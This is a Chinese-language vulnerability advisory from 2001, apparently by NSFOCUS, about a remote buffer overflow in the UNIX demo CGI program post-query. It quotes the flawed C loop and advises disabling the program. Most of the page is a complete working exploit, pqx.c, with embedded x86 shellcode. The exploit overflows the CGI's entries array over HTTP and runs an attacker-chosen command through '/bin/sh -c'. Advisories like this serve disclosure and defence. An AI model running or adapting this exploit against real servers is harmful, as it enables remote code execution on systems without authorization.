安全研究

安全漏洞
post-query 示例CGI程序存在远程缓冲区溢出漏洞

发布日期:2001-03-13
更新日期:2001-03-13

受影响系统:

运行post-query的web服务器
描述:

post-query是一个常见的UNIX下的演示CGI程序。它用C语言编写。它存在一个
远程缓冲区溢出漏洞。如果攻击者精心构造一个很大的字符串发送给post-query
时,就可能在目标主机上执行任意代码。

下面是有问题的代码部分:

#define MAX_ENTRIES 10000

typedef struct {
    char *name;
    char *val;
} entry;

....

main(int argc, char *argv[]) {
    entry entries[MAX_ENTRIES];

....

    for(x=0;cl && (!feof(stdin));x++) {
        m=x;
        entries[x].val = fmakeword(stdin,'&',&cl);
        plustospace(entries[x].val);
        unescape_url(entries[x].val);
        entries[x].name = makeword(entries[x].val,'=');
    }

....

<* 来源: proton (proton@ENERGYMECH.NET)
          http://www.energymech.net/users/proton/
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


proton (proton@ENERGYMECH.NET) 提供了如下测试代码:
/*
|  pqx.c -- post-query buffer overflow exploit for Linux-ix86
|  Copyright (c) 2001 by proton. All rights reserved.
|
|  This program is free software; you can redistribute it and/or modify
|  it under the terms of the GNU General Public License as published by
|  the Free Software Foundation; either version 2 of the License, or
|  (at your option) any later version.
|
|  This program is distributed in the hope that it will be useful,
|  but WITHOUT ANY WARRANTY; without even the implied warranty of
|  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
|  GNU General Public License for more details.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

char    tmp[512];
char    *host;
char    *progname;
char    *command;

#define output(x)    write(1,x,sizeof(x))

unsigned char shellcode[] =
    "\xeb\x3b\x5e\x8d\x5e\x10\x89\x1e\x8d\x7e\x18\x89\x7e\x04\x8d\x7e\x1b\x89\x7e\x08"
    "\xb8\x40\x40\x40\x40\x47\x8a\x07\x28\xe0\x75\xf9\x31\xc0\x88\x07\x89\x46\x0c\x88"
    "\x46\x17\x88\x46\x1a\x89\xf1\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xc0\xff\xff\xff\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
    "\x01\x01\x00";

void netpipe(int *rsock, int *wsock, int sz)
{
    struct    sockaddr_in sai;
    struct    hostent *he;
    int    s;

    if (!host || !*host || !command || !*command)
    {
        printf("Usage: %s <host> \"<command>\"\n",progname);
        exit(1);
    }
    he = gethostbyname(host);
    if (!he)
    {
        printf("%s: Unknown host\n",host);
        exit(1);
    }

    s = socket(AF_INET,SOCK_STREAM,0);
    sai.sin_family = AF_INET;
    sai.sin_port = htons(80);
    memcpy(&sai.sin_addr,he->h_addr_list[0],sizeof(struct in_addr));

    if (connect(s,(struct sockaddr*)&sai,sizeof(sai)) < 0)
    {
        switch(errno)
        {
        case ECONNREFUSED:
            output("Connection refused.\n");
            break;
        case ETIMEDOUT:
            output("Connection timed out.\n");
            break;
        case ENETUNREACH:
            output("Network unreachable.\n");
            break;
        default:
            output("Unknown error.\n");
            break;
        }
        exit(1);
    }
    output("Connection established.\n");

    *rsock = *wsock = s;
    sprintf(tmp,"POST /cgi-bin/post-query HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\n"
        "Content-Length: %i\r\n\r\n",sz);
    write(s,tmp,strlen(tmp));
}

void __doit(void);

#define CMDSTUB        "/bin/sh -c %s@"

int main(int argc, char **argv)
{
    char    *q,*cp;
    int    in,out;
    int    sz,x,n;

    if (argc < 3)
    {
        fprintf(stderr,"Usage: %s <hostname> \"<command>\"\n",argv[0]);
        exit(1);
    }

    progname = argv[0];
    host = argv[1];
    command = argv[2];

    x = (2*strlen(shellcode)) + strlen(command) + sizeof(CMDSTUB);
    sz = 9999 + x;

    netpipe(&in,&out,sz);

    tmp[0] = 0;
    for(sz=0;sz<9999;sz++)
    {
        strcat(tmp,"&");
        if (strlen(tmp) > 500)
        {
            write(out,tmp,strlen(tmp));
            tmp[0] = 0;
        }
    }
    write(out,tmp,strlen(tmp));

    sprintf(tmp,"&%s=%s",shellcode,shellcode);
    q = strchr(tmp,0);
    sprintf(q,CMDSTUB,command);
    write(out,tmp,x);

    output("Sent our shit.\n");

    n = x = 0;
    for(;;)
    {
        sz = read(in,&tmp[x],512-x);
        if (sz < 1)
            break;
        x += sz;
        q = cp = tmp;
        for(sz=x;sz;)
        {
            if (*q == '\n')
            {
                if (strncmp(cp,"<li> <code> = </code>",q-cp))
                    write(1,cp,(q-cp)+1);
                else
                if (!n)
                {
                    write(1,"\n<!-- ignoring 10,000 lines of crap -->\n\n",41);
                    n++;
                }
                cp = q + 1;
            }
            q++;
            sz--;
        }
        if (cp != tmp)
        {
            sz = x - (cp - tmp);
            memcpy(tmp,cp,sz);
            x -= (cp - tmp);
        }
    }
    exit(0);
}


建议:

临时解决方法:

NSFOCUS建议您暂时删除或者禁止使用post-query.

厂商补丁:

暂无

浏览次数:4042
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障